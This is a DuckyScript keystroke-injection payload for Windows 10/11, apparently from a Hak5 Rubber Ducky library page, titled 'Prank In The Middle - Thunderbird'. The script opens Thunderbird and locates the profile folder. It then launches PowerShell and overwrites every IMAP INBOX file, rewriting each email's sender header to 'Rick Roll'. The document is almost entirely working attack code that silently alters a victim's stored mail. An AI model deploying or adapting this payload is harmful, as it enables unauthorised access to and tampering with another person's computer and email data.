Path: blob/master/payloads/library/prank/Prank_In_The_Middle_Thunderbird/payload.txt
2968 views
REM #####################################################1REM # #2REM # Title : Prank In The Middle - Thunderbird #3REM # Author : Aleff #4REM # Version : 1.0 #5REM # Category : Prank #6REM # Target : Windows 10/11 #7REM # #8REM #####################################################910EXTENSION DETECT_READY11REM VERSION 1.112REM AUTHOR: Korben1314REM_BLOCK DOCUMENTATION15USAGE:16Extension runs inline (here)17Place at beginning of payload (besides ATTACKMODE) to act as dynamic18boot delay1920TARGETS:21Any system that reflects CAPSLOCK will detect minimum required delay22Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms23END_REM2425REM CONFIGURATION:26DEFINE #RESPONSE_DELAY 2527DEFINE #ITERATION_LIMIT 1202829VAR $C = 030WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))31CAPSLOCK32DELAY #RESPONSE_DELAY33$C = ($C + 1)34END_WHILE35CAPSLOCK36END_EXTENSION3738REM Open Thunderbird and goto settings39GUI r40STRING thunderbird41ENTER42DELAY 100043REPEAT 4 TAB44ENTER45DELAY 50046REPEAT 2 UPARROW47ENTER48DELAY 50049REPEAT 3 UPARROW50ENTER51DELAY 5005253REM Goto profile directory54REPEAT 11 TAB55ENTER56DELAY 5005758REM Copy the directory path59REPEAT 4 TAB60DELAY 50061SPACE62DELAY 50063ENTER64DELAY 50065CTRL c66DELAY 50067ALT F468DELAY 5006970REM Open the powershell and goto the directory71GUI r72STRING powershell73ENTER74DELAY 150075STRING cd76DELAY 50077CTRL v78DELAY 50079ENTER80DELAY 5008182REM Get the INBOX content and edit it overwriting. Then close the powershell83STRINGLN_POWERSHELL84cd ImapMail85$directories = Get-ChildItem -Directory | Select-Object FullName86foreach ($dir in $directories) {87# Replace backslashes with slash88$newPath = $dir.FullName -replace '\\', '/'8990# Add the sub-string '/INBOX' to the end91$newPath += "/INBOX"9293# Check whether the INBOX file exists94if (Test-Path $newPath) {95# Check whether the INBOX file exists96$emails = Get-Content -Path $newPath -Raw9798# Replace email sender with Rick Roll!99# The following operation is simplified and assumes that the sender starts with 'From: ...'100# and does not contain complex MIME structures101$modifiedEmails = $emails -replace "From:\s.*\s<(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|`"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*`")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])>", "From: Rick Roll <[email protected]/prinkrollme>"102103# Write the modified content into the INBOX file.104Set-Content -Path $newPath -Value $modifiedEmails -Force105}106}107END_STRINGLN108DELAY 1000109ALT F4110111112